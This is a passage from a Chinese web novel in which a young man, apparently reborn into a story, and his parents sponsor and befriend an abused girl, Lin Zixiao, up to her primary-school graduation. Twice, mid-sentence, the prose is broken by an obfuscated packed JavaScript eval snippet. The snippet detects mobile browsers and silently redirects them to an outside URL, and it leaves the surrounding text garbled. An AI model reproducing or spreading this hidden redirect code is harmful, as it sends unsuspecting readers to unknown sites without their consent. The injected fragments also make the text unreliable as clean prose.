在瀑布前遇到有小贩付费拍照，现场洗出来，十块一张，她立刻拉着顾清明要拍。 “快过来，我们拍个合照！”宋诗招呼腿短落在后面的两个小屁孩。 宋诗找了个自己喜欢的背景，让摄影师架机位。 两个大人把两个小孩夹在中间，宋诗和顾清明一手牵一个，看起来像一家四口。 可惜顾清明太高了，林梓潇又太矮了，两个人很难同框，于是摄影师指挥道：“照不到一起，爸爸抱着女儿吧！” 顾清明也默认了潇潇是他的女儿，越过顾执，一把将小孩捞起来抱着。 林梓潇没拍过照，有点僵硬地靠着顾清明，没什么表情。 顾清明被她逗笑了，掂了掂她：“潇潇，笑一下呀。” 于是潇潇又扯起嘴角，露出一个略有些不自然的微笑。 摄影师按下快门，记录了这一瞬间。 拍完小贩立刻给打印，宋诗要了三张，还便宜了三块。 她一张给自己，一张给顾执，一张给潇潇。 顾清明：“？我没有吗？” “你这人怎么这么浪费，你跟我看一张就行了嘛。”宋诗挤兑他。 “好好好。”顾清明只好妥协。 林梓潇仔细看了看照片，然后又宝贝地收到了自己的小书包里。 几人玩了不少项目，玩到最后，年纪最小的潇潇已经没有体力了，半眯着眼睛要闭不闭的，看起来要站着睡着了。 不过即使这么困了，她还是没喊累。 宋诗看得好笑，主动接过顾清明手里装着食物的袋子：“顾清明，你抱潇潇吧，她都要睡着了。” 顾清明也笑了笑，蹲下身把她抱起来。 一抱起来，潇潇就趴在他肩上迷迷糊糊睡了，宋诗怜爱地摸了摸她的脑袋：“可把宝宝累坏了。” 顾清明身上的味道很温和，没有什么男士香水味，是一股阳光晒过的柑橘味道，和宋诗身上的味道很像，让人安心。 林梓潇的脑袋在他颈窝蹭了蹭，无意识地喊道：“爸爸……” 顾清明愣了愣。 天杀的人贩子我一眼就认出这是我的女儿！ 顾清明的心一下子就软了，摸了摸林梓潇的小脑袋，把她抱得更紧了一些，温柔道：“爸爸在呢。” 林梓潇感受到回应，把顾清明的脖子抱得更紧了一些。 顾执走在后面，看着顾清明和宋诗对潇潇宠爱有加的样子，心里也放心了不少。 林梓潇从小被母亲抛弃，父亲又是个社会渣滓，从小缺失的父爱母爱，让她回到林家后不知道如何跟亲生父母相处，看着林蔚然林景然和父母亲近的样子，心里不免有落差。 希望顾清明和宋诗可以填补上潇潇心里的空缺。 * 曲终人要散，终于还是到了不得不分别的时候。 宋诗和顾清明不舍林梓潇，但也没办法，毕竟她还有父亲，他们没法带走她。 最后两人只能认潇潇当了干女儿，还准备了一份资助合同，成为潇潇的资助人。 两夫妻给潇潇准备了一张储蓄卡，一部分现金，还有一部手机。 宋诗叮嘱她：“潇潇，这两样东西，最好都不要让你爸爸发现，尤其是银行卡，知道吗？就算被他发现了，也不能让他知道密码，以防他猜出来，密码用的是顾执生日。” “还有这个手机，怎么用我教过你了，要是爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578458|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸又打你，你就躲起来用这个打电话给警察，知道吗？” 潇潇很聪明，和她解释过一遍的东西，她都能理解且记住。 她点点头，表示自己知道了。 “手机里存了我和你干爹的电话号码，如果有事，你可以给我们打电话，当然没事也可以打给我们，说说你最近过得怎么样，好不好？” 林梓潇从宋诗手里接过手机，沉默地抿了抿唇。 她虽然年纪小，但已经能明白离别。 顾执哥哥和叔叔阿姨是从京城来的，那是和小镇不一样的地方，繁华似锦的大都市，潇潇只从小胖子家的电视里见过。 现在，他们要回去了。 林梓潇紧紧握住手中的手机，片刻后，扬起一个甜甜的笑容，露出左脸颊上浅浅的酒窝：“好！潇潇会经常给诗诗姨姨打电话的！” “好宝宝，”宋诗蹲下身来，把她紧紧地抱进怀里，“姨姨好舍不得你啊。” 潇潇没有说话，小小的手抱着宋诗，小脸深深埋在她怀里。 为了避免引起潇潇养父林恺的怀疑，带来更多的麻烦，宋诗夫妇决定不露面，把潇潇送回家里就离开。 豪车停在朴素的居民楼下，路过的人都不住地投来目光。 宋诗让顾执把潇潇送上楼，给两个孩子单独道别的时间。 顾执牵着林梓潇的小手，带她上楼。 走到家门口时，一直强打精神努力微笑的潇潇终于忍不住了，红着眼眶蓄起泪来，抽抽嗒嗒地哭诉：“哥哥…我舍不得你……” 顾执心里也不好受，抱着她，轻轻拍着她的背安抚：“哥哥也舍不得潇潇。” 如果不是条件不允许，他多想现在就将潇潇带回京城，免去她未来可能经受的苦难。 一想到潇潇还要和她的人渣养父生活十年，遭受各种潜在的伤害，他就觉得心如刀割。 不管潇潇未来会变成什么样十恶不赦的反派，她现在也只是个可爱又爱哭的乖宝宝。 “潇潇，你一定要好好地长大，就算没有变成很好的人也没关系，只要你幸福快乐地长大，哥哥就很开心了。” 顾执觉得自己像是熊孩子的家长，他现在想的是，就算潇潇变得很坏很坏也没关系，只要她是开心快乐的就好了。 “我会好好长大的，哥哥，”林梓潇埋在他肩头，声音闷闷的，“而且会变成很好的人，很优秀的人。” 顾执摸摸她的头，没再说话，只是安静地抱着她，度过分别前最后的片刻时光。 “再见，哥哥！”最后还是林梓潇主动说了再见。 她不愿用悲伤填满最后的回忆，于是努力露出一个大大的笑容，笑得见牙不见眼。 “再见，潇潇…”顾执松开手，最后深深地望了她一眼，才转身离开。 林梓潇目送着顾执的身影从楼道离开，然后迅速地掏出钥匙打开家门，快速跑到窗边，看着楼下停着的黑色轿车。 一会后，顾执上了车，轿车缓缓行驶，最后终于完全消失在视野里。 林梓潇失力地滑坐了下来，神色有些落寞。 这两周对她来说像是一场虚幻又美妙的梦，但最后不得不醒来，再次陷入现实的深渊。 但是很快，林梓潇的神情又变的坚定起来。 为了再次遇见美梦，她有了想要做到的目标。 9. 第九章 日子过去的很快，顾执时不时就会给林梓潇打通电话，了解她的近况。 如果学业忙一些，就改为发短信交流。 寒暑假时，宋诗和顾清明就会带他一起到小镇度假，顺便看望潇潇。 看着潇潇一点点长大，一点点褪去脸上的软肉，顾执有了养孩子的实感。 幸福系统就好像消失了一样，只有在两人见面的时候，才会偶尔涨几个数字，但整体变动不大，只不过涨到了十几，其余时间，就更是一潭死水，动都不动一下。 听潇潇说，后来林恺也有试图动过手，不过她及时报了警，警察每次都会拘他十天半个月，看守所里日子不好过，他又有赌瘾酒瘾，几次过后就不再招惹潇潇，最多是砸东西泄愤。 潇潇的性格看起来也并不阴郁，虽然话不多，但平时也爱笑，一口一个哥哥的叫，听着很甜。 可顾执还是有些担心。 在小说里，林梓潇有一个堪称心腹大将的挚友，陈让。 在剧情中，陈让对她帮助良多，很多事都是由陈让帮助她完成的，并且一直到故事的最后，陈让也没有背叛她。 在林梓潇死后，陈让甚至为她大闹灵堂，大骂林家人毁了她，而林梓潇的大部分个人资产，也都留给了陈让。 陈让和林梓潇是小学同班同学，也是初高中同学，他父亲是小镇当地比较有名的富商。 在林梓潇十一岁时，养父林恺赌博酗酒后回到家，因为输了钱想发泄情绪，便动手殴打了林梓潇。 年仅十一岁的小姑娘面对醉酒的成年男性，毫无还手之力，林恺下手没轻没重，林梓潇被打得几度昏迷，意识不清，而林恺也像从前每一次打她一样，将她扔在家里自生自灭。 因为没有及时就医，林梓潇在家里发起了高烧，一整天没去学校，一直到她的同桌陈让察觉到不对劲，告诉了老师，赶到林梓潇家里查看，她才被发现送去医院，险些没出大事。 知道林梓潇家境不好，陈让还慷慨解囊，帮她交了住院费。 也是因为这件事，林梓潇和陈让才变变扭扭的成了好朋友。 他们俩虽然是同桌，但是谁看谁都不顺眼，林梓潇觉得陈让少爷派头十足，还喜欢和女孩玩，是个花花公子；陈让觉得林梓潇寡言少语，一点都不像别的女孩一样可可爱爱，最重要的是，他不过是碰了一下林梓潇的东西，她竟然就打了他，他竟然还打不过！ 被陈让救了以后，林梓潇嘴上不说，但心里念着他恩情，从此也会搭搭陈让的话，还教他做数学题，陈让也发现了林梓潇不同于其他女孩的可爱之处，俩人的关系这才好了起来，也算是不打不相识。 但是剧情在顾执的干扰下，已经有了变化，顾执很怕这样下去，林梓潇和陈让就不会成为朋友，让潇潇失去一个挚友。 于是顾执几次旁敲侧击地问，她在学校有没有什么好朋友。 林梓潇只是模棱两可地答：和大家关系都还不错。 顾执便拐弯抹角地让她和同学好好相处，尤其是和同桌。 几次被哥哥仔细叮嘱的林梓潇看了看身边坐着的陈让。 陈让长相精致秀气，皮肤又白皙，简直比女孩子还要漂亮，再加上性格温顺，不像普通男生一样又皮又喜欢捉弄人，在班上的女孩缘特别好。 每当下课时，总有一群女孩子围在他座位旁。 而林梓潇和他相反，她长着一双漂亮的凤眼，挺拔的驼峰鼻，如果不笑的话，看起来十分难以接近，而且她确实性格冷淡寡言，成绩还非常好，因此班里的同学大多对她有种只可远观的仰望。 于是陈让身边总是围着很多人，但又不敢靠近他的同桌林梓潇半步，使得两边对比更加明显。 下课时，陈让周围又有很多女生。 林梓潇想起哥哥的话，放下手里写字的笔，后仰着身子看了看桌洞，从里面掏出她买来当第二天早餐的菠萝包。 她把菠萝包放到陈让桌上。 正在和身边的女生们讲话的陈让一下子愣住，他看了看桌上的菠萝包，又看了看面无表情的林梓潇，最后难以置信地指了指自己：“给我的吗？” 林梓潇淡淡地点了点头：“嗯。不是说没有吃早餐？” 不止陈让，周围的女生也都用惊讶的眼神看着林梓潇。 没想到看起来很不好相处的林梓潇同学这么贴心！ 陈让比其他人更震惊，因为他比任何人都知道他的同桌有多难以接近。 她很少说话，表情也很寡淡，只有在看到他不到六十分的试卷时，才会露出一点带着嘲讽的笑容，好像看到了什么滑稽的东西一样。 高冷同桌很少和班里的同学一起玩，日常是看书写作业。 她好像总有看不完的书和写不完的习题，有一次陈让疑惑地问她：“老师哪有布置这么多作业？” 高冷同桌又露出了那种带着嘲讽的笑容，她举起自己的作业本给陈让看。 封面上的书名标注着，《每日一练七年级下》。 高冷同桌和他这种学渣不一样，早就在自学初中的内容了。 陈让：“……” 所以看到这么高冷看不起人的同桌，突然拿出菠萝包给他吃，就像是那种十恶不赦的坏人突然做了一件好事，显得格外难能可贵，竟然让陈让生出了一种感动的情绪。 陈让露出一副快要哭了的表情，诚恳地道谢：“谢谢你。” 高冷同桌还是很高冷，面无表情地转过了头，继续做自己的超纲习题。 明明平时最看不惯她这幅模样的陈让，这一刻却觉得她无比可爱。 原来同桌是面冷心热啊！ 于是从这天开始，陈让认定了林梓潇是不善表达的傲娇类型，开始锲而不舍地接近她。 而林梓潇碍于哥哥的嘱咐，忍着不耐烦和他相处，一来二去，也不知发生了什么，两人关系竟然到了可以一起去食堂吃饭的程度。 顾执也终于如愿以偿地从林梓潇嘴里听到了陈让的名字。 “陈让好笨，”林梓潇吐槽似的说，“那么简单的数学题，他总是想不明白，就算给他讲好几遍也还是错，世界上真有这么笨的人吗？” 电话那头的顾执笑了笑：“不是他太笨，是潇潇太聪明了。” 在顾执面前，林梓潇露出了很少见的小骄傲，俏皮地回他：“是的，我太聪明了，但陈让也是真的笨，要不然就不会考倒数了。” “所以…你们是好朋友了吗？”顾执问。 “好朋友吗……应该不算，只是关系还可以的同学。”林梓潇有些傲娇地答道。 “明知道对方很笨，聪明的潇潇还是会教他做题，”顾执笑着点破她，“这应该就是友情吧。” “……”林梓潇默了默。 是友情吗？这就是友情吗？ 在两人的聊天里，陈让这两个字出现的频率越来越高了。 顾执发现，潇潇几乎所有空闲的时间都和他待在一起，一起打球，一起下馆子，一起去镇上简陋的游乐场玩。 甚至有一天，顾执发现陈让还到潇潇家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578459|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩了。 林梓潇是个很有边界感的人，虽然她总说自己和班里同学的关系都不错，但顾执能感觉出来，她并不热衷于交朋友，和所有人都保持着不远不近的距离，从来没有什么真正称得上朋友的同学。 而现在，她竟然把陈让带回了家里。 这意味着，潇潇已经在心里认可他成为自己的朋友，甚至于是最好的朋友。 最关键的是，一直只会因为顾执而有所涨高的幸福值，罕见地升高了两个数值。 顾执一面觉得，应该庆幸自己的目的达到了，一面又觉得心里有些酸酸的。 察觉到自己的小异样，顾执有些失笑。 这就是养孩子吗，希望她交到好朋友，又害怕她因为有了太多朋友而不需要自己。 趁着五一小长假，顾执打算去一趟小镇。 父母没有空，顾执就和家里司机助理一起出发。 顾执的学校在放假前办了文化节活动，中午就放了学，他马不停蹄赶去镇上，正好赶上潇潇放学。 黑色的迈巴赫静静地停在路边，这已经算是顾执家十分低调的车型，但依然还是引起了周围路人的注目。 顾执没有换掉校服，他读的是国际小学，校服也是定制的西装制服，看起来气质斐然，像是电视里肥皂剧男主的幼年形态。 虽然年纪不大，但顾执有棱有角的清俊模样已经有了雏形，几个刚放学的小姑娘都忍不住盯着他看。 顾执和学校门口来接孩子的家长们站在一起。 各年级都陆续放学了，没一会，顾执就在人群中找到了林梓潇。 林梓潇个子纤长，在同龄人中算是鹤立鸡群，虽然只有五年级，但个子已经长到了一米六，再加上五官优越立体，在人群中很是闪闪发光。 比起上一次见面，似乎又长高了一些，看起来瘦瘦长长，像个大孩子了。 她单肩背着书包，脸上挂着浅薄的笑意，微微侧过头听身旁的人讲话。 虽然顾执只见过长大后的陈让一面，但他还是认出了潇潇身边的男孩。 陈让男生女相，长相秀气，五官精致，十分有特点。 小学时男生还没窜个子，他还稍微矮潇潇一些。 见林梓潇慢慢走近了，顾执朝她招了招手：“潇潇，这里。” 林梓潇听到熟悉的声音，下意识扭头寻找，看到顾执的瞬间，表情微微愣住。 随即她立刻反应了过来，小导弹似的冲到顾执怀里，一把抱住他，甜甜地喊：“哥哥！” 顾执伸手回抱她，抬手揉了揉她头发。 还是和小时候一样，一点都没变，又黏人又喜欢撒娇。 那头的陈让看到林梓潇的样子，在脸上缓缓打出一个问号。 不是，这人是林梓潇？ 这个笑得这么开心，叫人这么甜的人是林梓潇？？ 没等陈让回过神来，顾执把动作从抱着林梓潇变为揽着她，看向陈让，像家长一样询问道：“你是潇潇的同学吧？很高兴见到你。” 陈让还有点反应迟钝，以为顾执是林梓潇的亲人，磕磕巴巴地跟着她喊：“是、是的，哥哥好。” 林梓潇却立刻不满，冷脸道：“你叫什么哥哥？” 虽然被骂了，但陈让突然感觉通体舒畅。 对嘛，这样才是林梓潇。 “怎么这么霸道？”顾执装模作样地教训她，话里话外却一点不悦都没有。 见顾执来了，林梓潇立刻选择抛下自己的好朋友，拽着顾执就往马路边走。 10. 第十章 停在路边的豪车挂着京A的牌照，非常好认，林梓潇拉着顾执钻进去。 顾执每年都要来小镇至少一次，对镇上也算是熟悉，随口给司机报了个饭店名，给他指了路。 林梓潇本以为顾执是和干爹干妈一起来的，上了车才发现两人根本没在，顿时有些疑惑。 “哥哥，你怎么自己过来了？” 顾执当然不会把自己吃一个小孩醋的事说出来，笑着回答：“你干爹干妈有事，哥哥想你了，就过来看看你。” 林梓潇闻言，立刻开心地黏过去：“我也想哥哥！” 顾执正想伸手回抱她，脑海里却突然浮现出顾清明那个老古板的样子。 五年前潇潇还只有六岁的时候，顾清明就不许两人动作亲密了。 这几年潇潇越来越大，愈发脱去稚嫩，开始抽条，七八岁时顾清明还时常会亲亲她抱抱她，现在最多只摸摸头，也不许顾执再跟潇潇举止亲密，说是男女有别，这样不合规矩。 潇潇虽然长大不少，但顾执实际上已经二十七了，在他眼里，潇潇依然还是个孩子，对可爱的孩子想抱抱捏捏是很正常的。 不过顾执现在的实际年龄毕竟只大潇潇两岁，他不得不承认，适当和小姑娘保持距离是有必要的。 于是顾执不仅没有抱住她，还伸手推开了林梓潇，严肃地教育道：“潇潇，现在我们都长大了，哥哥是男生，你是女生，不能再经常对哥哥做亲密的举动了，知道吗？” 林梓潇茫然地看着他，露出有些受伤的表情，可怜巴巴地拿大眼睛看着顾执，小嘴委屈地瘪了瘪。 要说顾家三个人里谁最溺爱林梓潇，不是宋诗也不是顾清明，而是年纪最小的顾执。 就连宋诗都会坚守底线不让潇潇多吃一个冰淇淋，顾执却总是因为潇潇撒个娇就退让。 看到小姑娘委屈的表情，顾执顿时有些心软，松口道：“牵手和抱抱还是可以的，但不能总是做。” 林梓潇倒也没有得寸进尺，乖乖地点了点头，表示自己知道了。 她抬手指了指饭店大堂里坐着的一桌年轻男女，纯真无邪地问道：“哥哥，你不是说长大了就不能再这么亲密了吗？为什么那两个哥哥姐姐都这么大了，还可以这个样子。” 顾执顺着她的手指看过去，年轻的情侣正亲密地靠在一起你一口我一口地喂饭，情到深处，也不顾还在吃饭，头凑到一起就要上嘴。 顾执噎了噎，立刻手动扭过林梓潇的头，不许她再看。 林梓潇不反抗也不说话，眨巴着眼睛，等着顾执回答。 顾执尴尬地咳嗽了两声，解释道：“因为那两个哥哥姐姐是情侣呀，情侣之间是可以这样亲密的，但是兄妹之间不可以。” 林梓潇一脸天真：“那我和哥哥不做兄妹，也做情侣就可以了。” 正在喝水的顾执立刻猛呛了一口，剧烈地咳嗽了起来。 一旁的潇潇贴心地给他递过来两张纸巾，拍拍他的背。 片刻后，顾执好不容易缓了过来，红着一张脸纠正：“我们两个不能做情侣。” “为什么呢？”林梓潇歪头，一脸不解地问。 “因为我们已经做了兄妹了，就不能换了，”顾执一脸正经地骗小孩，“如果要换的话，就什么都做不成了。” 林梓潇漂亮的琥珀眼暗了暗，一瞬即逝，转而对顾执笑了笑：“原来是这样……那我和哥哥就做兄妹好了。 * 吃过了饭，顾执把林梓潇送回了家里，比起五年前，这里明显老旧了很多，白墙都变成了灰墙，上面充满了岁月的痕迹。 在林梓潇的邀请下，顾执和她一起上了楼。 林恺不知道又去了哪里鬼混，依然不在家里。 林恺对林梓潇是完全散养的，主要是他自己也过得浑浑噩噩。 三天打鱼两天晒网地做些散工，有一点钱就赌博，随手丢给林梓潇的钱根本不够一个孩子过活，他完全不知道也不在意，觉得只要给她一口饭吃让她活下去，就是天大的恩赐。 好在林梓潇六岁那年有幸被顾家资助，银行卡上每个月都会多出一笔巨款，不至于让她过得太辛苦。 对于一个孩子来说，卡里的那笔钱是十分巨额的，心志稍不坚定，就有可能被迷了眼睛，误入歧途。 不过林梓潇虽然年纪小，但底线很坚定，她从没拿着钱挥霍，也从不露富，即使手握巨款也只是规矩地过日子，绝不多花一分钱。 除了必要的餐食学杂，连衣服都不多买一件。 宋诗劝她不要有负担，尽量让自己过得舒服快乐一些就好，毕竟要让一个十岁出头的孩子，整日里计算着花销过日子，实在太残忍了。 可林梓潇依然坚持着自己的底线，只支出必要的开销。 因此虽然得了顾家慷慨的资助，她过得也不见有多幸福，只是不用为生计发愁而已。 林梓潇家里基本没有什么家具，有的也被林恺砸了个七七八八，客厅里的沙发不知多久没有收拾，还沾染了许多不明脏污，几乎看不出原本的颜色，一副家徒四壁的凄凉感，毫无家的温馨，比起说是家，这里更像是个临时的落脚点。 林梓潇房间里要好一些，整洁干净，摆满了书，不过除了书以外，也不见得有多少东西。 看着林梓潇的房间，顾执不由得心里发起酸来，恨不得直接把她接去京城。 与此同时的林蔚然，在林家是全家捧在手心的小公主，住在家里别墅采光最好，面积最大的房间，每一个家具都是由意大利设计师亲手定制的，光是衣帽间就有林梓潇房间两个个那么大。 可他的潇潇却要住在一个几十平米，和毛坯房基本没区别的家里，日日忍受荒唐的养父，精打细算每一天的花销。 明明那才是她该有的生活。 顾执想，就连他都忍不住替她感到不公，她又怎么能不恨呢，怎么能释怀呢，可潇潇起初甚至还抱着和家人好好相处的心回到林家，已经很善良了。 林梓潇敏锐地感觉到了顾执身上的低气压，朝他乖巧可爱的笑了笑，拽拽他的衣袖：“哥哥。” 顾执从自己的思绪中抽离出来，放软声音询问：“怎么了？” 林梓潇在书桌的抽屉里翻了翻，拿出一叠试卷，俏皮地塞到顾执怀里，示意他看。 “这是什么？” 顾执接过那沓纸，疑惑地翻看起来。 然后他发现，这全都是潇潇的考试试卷，近到最近的期中考，远到三四年级时的考卷，基本都是满分，偶尔会有丢一两分的情况。 卷子左上角写着的似乎是考试排名，无一例外，全都是1，甚至连个2都没有出现过。 抬起头，就见林梓潇正眨巴着大眼睛，期待地看着他。 顾执失笑，摸摸她的头，夸道：“潇潇真棒，哥哥为你骄傲。” 林梓潇眯着眼睛蹭了蹭他的掌心，像一只小狗。 顾执被逗笑了，揉了揉她的发顶，又伸手去挠她的下巴。 在林梓潇的刻意引导下，顾执心情总算好了起来，两人又说了会话，顾执才披着月色离开。 * 和顾执的相处时间总是比想象中更短暂，过完了假期，林梓潇还是要继续投入学业。 时间过得很快，没过多久，林梓潇就要从小学毕业了。 小学六年生涯，她从头优秀到尾，学科竞赛获奖无数，年级第一更是拿到手软，国旗下讲话的表扬名单里永远有林梓潇这三个字。 因此没有任何疑问的，她被选为了毕业典礼的毕业生代表上台讲话。 镇上的小学设施简陋，没有礼堂，毕业典礼在操场上举行，低年级的学生都挤在教学楼里围观。 毕业生和他们的家长都到齐了，有些甚至全家出动，操场上乌泱泱的站了一片人。 林梓潇站在主席台下候场，手里捏着一张薄薄的稿子，全然不受周围嘈杂环境的影响，只是垂眸复习着演讲稿的内容。 年段长看到林梓潇就喜笑颜开，笑眯眯地关心她：“梓潇，你父母来了吗？学校给你准备了花，一会可以让父母上台送给你。” 林梓潇礼貌地朝老师点了点头，微微笑着答道：“谢谢老师，不过我父母都没有来。” 似乎并不把父母不到场的事放在心上。 年段长的表情瞬间凝滞住了，一时不知道说什么好。 哪有父母不来孩子毕业典礼的？还是这么优秀的孩子。 要是林梓潇是她的孩子，她肯定是最早到现场的家长，准备沐浴所有人羡慕的目光。 年段长沉默片刻，尴尬地笑了笑：“没关系，爸妈也有抽不开身的时候，一会老师给你送。” 林梓潇礼貌地朝她道谢：“谢谢老师。” 其实她根本没有告诉林恺毕业典礼的事。 就算他真的来了，也只会让她丢尽脸面而已。 年级第一的爸爸，是这样一个整日喝得醉醺醺，为人粗俗不堪的人，实在容易变成别人茶余饭后的谈资。 他最好像死了一样安静。她人生所有重要的时刻，都不需要这个人的参与。 林梓潇冷眼看着台下家长和孩子亲密互动的样子，捏着稿子的手还是紧了紧。 陈让的爸爸妈妈也来了，他爸爸是镇上挺有名的富商，小镇里不少娱乐场所，餐饮店都是陈让爸爸的产业。 毕业典礼前每个班都发了期末考试成绩单，陈让分数一如既往的低，不过他爸爸好像并不在意，一手搂着陈让，一手搂着老婆，笑得春风得意。 陈让的长相应该是遗传母亲，他妈妈长得和他一样精致漂亮，穿着一身香槟色长裙，看起来温柔摇曳，是一众家长里最耀眼的存在。 真幸福啊。< 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上台讲话对林梓潇来说已经不算什么值得紧张的事情了，她把话筒调到合适的高度，微微倾身，目光淡淡地掠过台下一张张的脸，不紧不慢地背完了自己的稿子，看起来从容自如。 “最后，祝愿我和全体同学，毕业快乐，前程似锦。” 台下响起热烈的掌声，林梓潇往立式话筒旁迈了一步，深深地鞠躬，算作这六年对学校的感谢和告别。 学校里有些老师知道她家里的情况，对她很照顾，时常会邀请她到家里吃饭。 这六年，她过得辛苦，吃过不少苦头，但也没少接收到善意。 低头鞠躬时，林梓潇发觉有人站到了自己的面前，在身上投下一片阴影。 她抬起头时，发现眼前竟然出现了一个意料之外的身影。 顾执穿着一身白衬衫，正式又不过分隆重，眉眼清疏，已经有了小少年的模样。 在久久没有停止的掌声中，他向林梓潇递去一束漂亮硕大的花束，笑道：“潇潇，毕业快乐。” 林梓潇愣神看着他，机械地从他手里接过花。 “潇潇！”台下的宋诗蹦蹦跳跳地朝她招手。 顾清明插兜站在她身边，带着淡淡的笑意，看着台上的林梓潇。 当年的哭包小姑娘实在长大不少，个子已经窜到了一米□□，身条笔直，神色沉稳，在台上讲话时，像一株削薄而挺拔的青竹。 林梓潇愣了愣，好一会后才回过神，迅速跑下台扑到宋诗怀里，撒娇似的蹭了蹭她。 宋诗立刻回手紧紧抱住她，柔声说：“乖宝，妈妈来了。” “嗯，爸爸也在。”顾清明揉了揉她埋在宋诗怀里的头。 年段长在一旁看到这一幕，顿时觉得欣慰，对林梓潇说：“梓潇同学这么优秀，爸爸妈妈怎么可能不来你的毕业典礼？” 林梓潇埋在宋诗怀里，声音闷闷地应了声，还破天荒的掉了两滴小猫泪，全蹭在了宋诗的衣服上。 顾清明听出她哭了，爽朗地嘲笑她：“小哭包长大了还是小哭包！” 林梓潇小的时候确实有点爱哭，但自从小学以后，就很少流眼泪了，她不服气地反驳：“才不是！” 顾执站在一边，无语地瞪了一眼顾清明，控诉道：“您都多大了，还欺负小孩。” “好了好了不说了，”顾清明眼看自己要成为众矢之的，赶紧认错，“不是哭包，是爸爸妈妈的骄傲，乖宝真棒！” 林梓潇哼哼唧唧地在宋诗怀里蹭蹭，傲娇道：“一般般啦。” 毕业典礼结束后，每个班级都各自举行告别会，于是林梓潇带着一家三口一起回到教室去。 老师还没到，班级氛围很轻松，同学们都在互相写同学录，分发毕业礼物。 除了陈让外，林梓潇在班上没什么特别要好的朋友，她本以为这个环节跟自己没什么关系，结果刚一到座位，就被一群女生团团围住。 女生们叽叽喳喳的，往林梓潇手里塞些小饰品小零食之类的礼物。 林梓潇有些蒙，呆呆地收下礼物。 从女生们七嘴八舌的话中，林梓潇才大概得出结论，原来是来感谢她教她们做题的。 女生冒着星星眼看她，崇拜道：“之前一直以为你不好相处，没想到你是面冷心热，梓潇你平时的解题步骤比参考答案都清晰，在考前帮忙压的题也很准！谢谢你！” 林梓潇有些疑惑，她只给陈让压过题写过解题步骤，什么时候教过这些女生？ 随即又反应过来，这些都是平时和陈让玩的好的女生，估计是陈让分享给了她们，还添油加醋地给她立了人设。 “……”林梓潇无语地扯了扯嘴角。 宋诗见她在班里人缘这么好，顿时觉得很欣慰，还装模作样地拭了拭眼角不存在的泪水。 林梓潇瞥了瞥顾家三人，立刻对女生们露出和善的微笑，认下了这份功劳：“不客气，能帮到你们我很高兴。” 11. 第十一章 女生们走了以后，陈让才压轴般地凑了过来。 宋诗和顾清明在一旁和陈让爸妈聊天寒暄。 陈让站在林梓潇面前，漂亮的小脸故作严肃，郑重地说：“林梓潇，很荣幸地告诉你，你被选为了我在小学里最要好的朋友。” 林梓潇扯了扯嘴角：“没有很荣幸。” 陈让也不管林梓潇说什么，塞给她一张花里胡哨的同学录：“这是我专门给你做的独家同学录！你要好好收藏，里面写了我对你替我打架……唔唔唔！” 林梓潇一个箭步上前，一把捂住了陈让的嘴。 一旁的顾执没听清陈让说什么，皱了皱眉，问道：“什么……？潇潇你替陈让干了什么？” 林梓潇挤出一个乖巧的笑容：“没什么哥哥。” “潇潇，放开陈让，别捂着同学的嘴。”顾执难得严肃地指了指林梓潇。 林梓潇迟疑片刻，还是放开了死死捂着陈让的手。 “陈让，你说，潇潇替你做了什么？”顾执严肃的样子和平时的温和好说话大相径庭，冷冷淡淡的，有着说不出的强势，让人不寒而栗。 好在陈让再傻也接收到了林梓潇的信号，支支吾吾地说：“就是……就是潇潇会帮我写作业啦，对不起顾执哥，我以后肯定不让潇潇帮我写了，别告诉我爸妈啊。” 见陈让一副心虚害怕的样子，顾执也信了大半。 十一二岁的小朋友，除了替人写作业，还能替人干嘛？ 他卸下了严厉的样子，笑了笑：“没关系，我不会告诉你父母，以后要好好学习，你和潇潇好好道别吧。” 见顾执走远，林梓潇松了口气。 她毫不客气地一脚踹在陈让屁股上：“谁让你乱说话的！” “你这么怕你哥啊。”陈让委屈地捂住屁股。 在陈让看来，顾执只比他们大两岁，是个同龄的小哥哥，跟同龄人自然没必要像对爸妈一样小心谨慎。 但是林梓潇从小被顾执亲自教导，耳提面命，她从小早慧，能够很清楚的感觉到，顾执希望她变成什么样子。 顾执希望她阳光、活泼、开朗，所以即使她总是有很多阴暗的想法，即使她有时觉得自己冷漠又戾气，也总是会藏得很好，只让哥哥看到他想看到的那一面。 林梓潇有些无奈。 她和陈让关系变好，其实纯粹是陈让的一厢情愿。 碍于哥哥的意思，她一直对陈让客客气气的，但她并不习惯与人亲近，多少也保持着距离。 直到五年级的某一天，林梓潇遇到陈让被高年级的同学欺负，要他给钱。 陈让长相漂亮柔弱，个子又矮小，家里还有钱，一下就被高年级的小混混盯上了。 林梓潇本想袖手旁观，可想到哥哥的耳提面命，和陈让平时的傻样，不知为什么，还是帮了他。 自从那天以后，陈让就像鬼一样缠了上来。 林梓潇想起以前的事，尤觉得不解气，又在陈让圆润的屁股上踹了一脚。 “嗷！” * 有了顾家一家人出面，林梓潇的毕业典礼变得十分圆满，甚至还有好多平时不熟悉的同学，偷偷跑来跟她说，羡慕她们一家子都这么漂亮，还有这么温柔帅气的哥哥。 潇潇骄傲，但潇潇不说。 在小学的最后一天，以陈让哭哭啼啼地和她在校门口告别结束。 其实林梓潇不明白，明明他们以后读的还是一个初中，陈让为什么要哭的像再也见不到面了一样。 可能这就是小孩子对于毕业的仪式感吧。 